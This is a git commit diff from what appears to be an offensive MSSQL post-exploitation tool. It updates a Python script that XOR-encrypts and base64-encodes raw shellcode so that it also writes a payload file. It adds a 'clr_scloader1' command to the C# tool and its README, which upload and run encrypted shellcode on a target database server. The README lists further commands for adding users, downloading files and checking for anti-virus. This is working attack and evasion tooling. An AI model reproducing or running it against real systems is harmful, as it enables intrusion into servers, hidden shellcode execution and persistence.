Add files via upload

Author: uknowsec

Python/Encrypt.py

@@ -1,30 +1,32 @@
-#coding:utf-8
-#References:https://github.com/evi1ox/MSSQL_BackDoor/blob/master/tools/py_bin_encrypt/EncodeShellcode.py
-
-import sys
-import base64
-import argparse
-
-
-def xor(data, key):
-    l = len(key)
-    keyAsInt = list(map(ord, key))
-    return bytes(bytearray((
-        (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
-    )))
-
-if __name__ == '__main__':
-    parser = argparse.ArgumentParser(description="python3 {0} -f payload.bin -k Evi1oX".format(sys.argv[0]))
-    parser.add_argument("-f","--file", help="Raw Shellcode File",required=True)
-    parser.add_argument("-k","--key", help="XOR Encrypted key",required=True)
-    args = parser.parse_args()
-
-    try:
-        with open(args.file, 'rb') as f:
-            scBytes = f.read()
-            xorBytes = xor(scBytes, args.key)
-            print("XorKey: "+args.key)
-            print("Result: "+base64.b64encode(xorBytes).decode())
-    except Exception as e:
-        print(e)
-        sys.exit()
+#coding:utf-8
+#Author:Evi1oX
+
+import sys
+import base64
+import argparse
+
+
+def xor(data, key):
+    l = len(key)
+    keyAsInt = list(map(ord, key))
+    return bytes(bytearray((
+        (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
+    )))
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description="python3 {0} -f payload.bin -k Evi1oX".format(sys.argv[0]))
+    parser.add_argument("-f","--file", help="Raw Shellcode File",required=True)
+    parser.add_argument("-k","--key", help="XOR Encrypted key",required=True)
+    args = parser.parse_args()
+
+    try:
+        with open(args.file, 'rb') as f:
+            scBytes = f.read()
+            xorBytes = xor(scBytes, args.key)
+            print("XorKey: "+args.key)
+            print("Result: "+base64.b64encode(xorBytes).decode())
+            with open("payload.txt","w") as f:
+                f.write(base64.b64encode(xorBytes).decode())
+    except Exception as e:
+        print(e)
+        sys.exit()

README.md

@@ -46,6 +46,8 @@ clr_getav                  - get anti-virus software on this machin by clr
 clr_adduser {user} {pass}  - add user by clr
 clr_download {url} {path}  - download file from url by clr
 clr_scloader {code} {key}  - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin)
+clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt
+clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader
 exit                       - terminates the server process (and this session)
 
 ```
@@ -199,4 +201,4 @@ https://github.com/blackarrowsec/mssqlproxy
 
 https://github.com/An0nySec/ShadowUser/blob/main/ShadowUser/Program.cs#L235
 
-https://github.com/GhostPack/SharpDump
+https://github.com/GhostPack/SharpDump

SharpSQLTools/Program.cs

@@ -36,6 +36,7 @@ private static void Help()
 clr_adduser {user} {pass}  - add user by clr
 clr_download {url} {path}  - download file from url by clr
 clr_scloader {code} {key}  - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin)
+clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt
 clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader 
 exit                       - terminates the server process (and this session)"
 );
@@ -355,6 +356,13 @@ static void interactive(string[] args)
                                 clr_exec(s);
                                 break;
                             }
+                        case "clr_scloader1":
+                            {
+                                String s = String.Empty;
+                                for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; }
+                                clr_exec(s);
+                                break;
+                            }
                         case "clr_scloader2":
                             {
                                 String s = String.Empty;
@@ -510,6 +518,13 @@ static void Noninteractive(string[] args)
                             clr_exec(s);
                             break;
                         }
+                    case "clr_scloader1":
+                        {
+                            String s = String.Empty;
+                            for (int i = 3; i < args.Length; i++) { s += args[i] + " "; }
+                            clr_exec(s);
+                            break;
+                        }
                     case "clr_scloader2":
                         {
                             String s = String.Empty;